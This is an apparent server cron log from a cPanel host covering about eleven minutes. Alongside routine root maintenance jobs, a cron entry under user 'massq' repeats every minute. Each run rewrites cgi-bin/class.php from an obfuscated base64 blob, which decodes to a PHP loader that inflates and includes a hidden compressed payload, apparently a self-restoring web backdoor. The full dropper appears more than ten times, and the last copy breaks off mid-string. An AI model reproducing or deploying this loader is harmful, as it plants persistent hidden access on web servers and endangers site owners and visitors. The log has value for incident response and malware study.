Sep  1 06:00:01 server CROND[17732]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 06:00:01 server CROND[17734]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:00:01 server CROND[17737]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 06:00:01 server CROND[17733]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep  1 06:00:01 server CROND[17739]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 06:00:01 server CROND[17730]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 06:00:01 server CROND[17736]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 06:00:01 server CROND[17735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:00:01 server CROND[17731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:01:01 server CROND[18621]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 06:01:01 server CROND[18622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:01:01 server CROND[18623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:01:01 server CROND[18624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:01:01 server run-parts(/etc/cron.hourly)[18621]: starting 0anacron
Sep  1 06:01:01 server run-parts(/etc/cron.hourly)[18644]: finished 0anacron
Sep  1 06:02:01 server CROND[19033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:02:01 server CROND[19034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:02:01 server CROND[19035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:03:01 server CROND[19516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:03:01 server CROND[19517]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:03:01 server CROND[19518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:04:01 server CROND[19898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:04:01 server CROND[19900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:04:01 server CROND[19899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:05:01 server CROND[20292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:05:01 server CROND[20293]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:05:01 server CROND[20296]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 06:05:01 server CROND[20298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:05:01 server CROND[20299]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 06:05:01 server CROND[20303]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 06:05:01 server CROND[20301]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 06:05:01 server CROND[20302]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:06:01 server CROND[21120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:06:01 server CROND[21121]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:06:01 server CROND[21122]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:07:01 server CROND[21508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:07:01 server CROND[21509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:07:01 server CROND[21510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:08:01 server CROND[21901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:08:01 server CROND[21902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:08:01 server CROND[21903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:09:01 server CROND[22420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:09:01 server CROND[22421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:09:01 server CROND[22422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:09:01 server CROND[22423]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 06:10:01 server CROND[22966]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 06:10:01 server CROND[22969]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:10:01 server CROND[22971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:10:01 server CROND[22973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:10:01 server CROND[22974]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 06:10:01 server CROND[22976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:10:01 server CROND[22977]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 06:10:01 server CROND[22972]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 06:11:01 server CROND[23860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqw